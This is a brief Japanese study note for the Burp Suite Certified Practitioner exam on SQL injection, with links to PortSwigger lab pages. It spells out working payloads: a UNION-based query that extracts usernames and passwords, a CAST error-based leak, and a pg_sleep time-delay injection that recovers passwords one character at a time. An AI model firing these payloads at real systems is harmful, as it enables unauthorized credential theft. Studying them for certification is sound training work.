<aside> 💡 BSCP (Burp Suite Certified Practitioner) 受験準備に作成したので、ちょっと内容がspecificになっているのはご愛嬌

</aside>

[server] SQL Injection

What is SQL Injection? Tutorial & Examples | Web Security Academy

SQL injection cheat sheet | Web Security Academy

Exploit: UNION attack

'+UNION+SELECT+username,+password+FROM+users--

https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-data-from-other-tables

Exploit: Blind SQLi

Exploit: CAST() により、エラーメッセージにカラム値を露出させる

TrackingId=xyz' AND 1=**CAST((SELECT username FROM users LIMIT 1) AS int)**--

ERROR: invalid input syntax for type integer: "administrator”

https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based

Exploit: WHERE句のtrue/falseをエラー画面やステータスコードから観測し、クレデンシャルを1文字ずつ特定

Exploit: 完全blindのとき、条件付きtime delayによりクレデンシャルを1文字ずつ特定

TrackingId=xyz'%3BSELECT+CASE+WHEN+(username='administrator'+AND+**SUBSTRING(password,2,1)='a'**)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

https://portswigger.net/web-security/sql-injection/blind#exploiting-blind-sql-injection-by-triggering-time-delays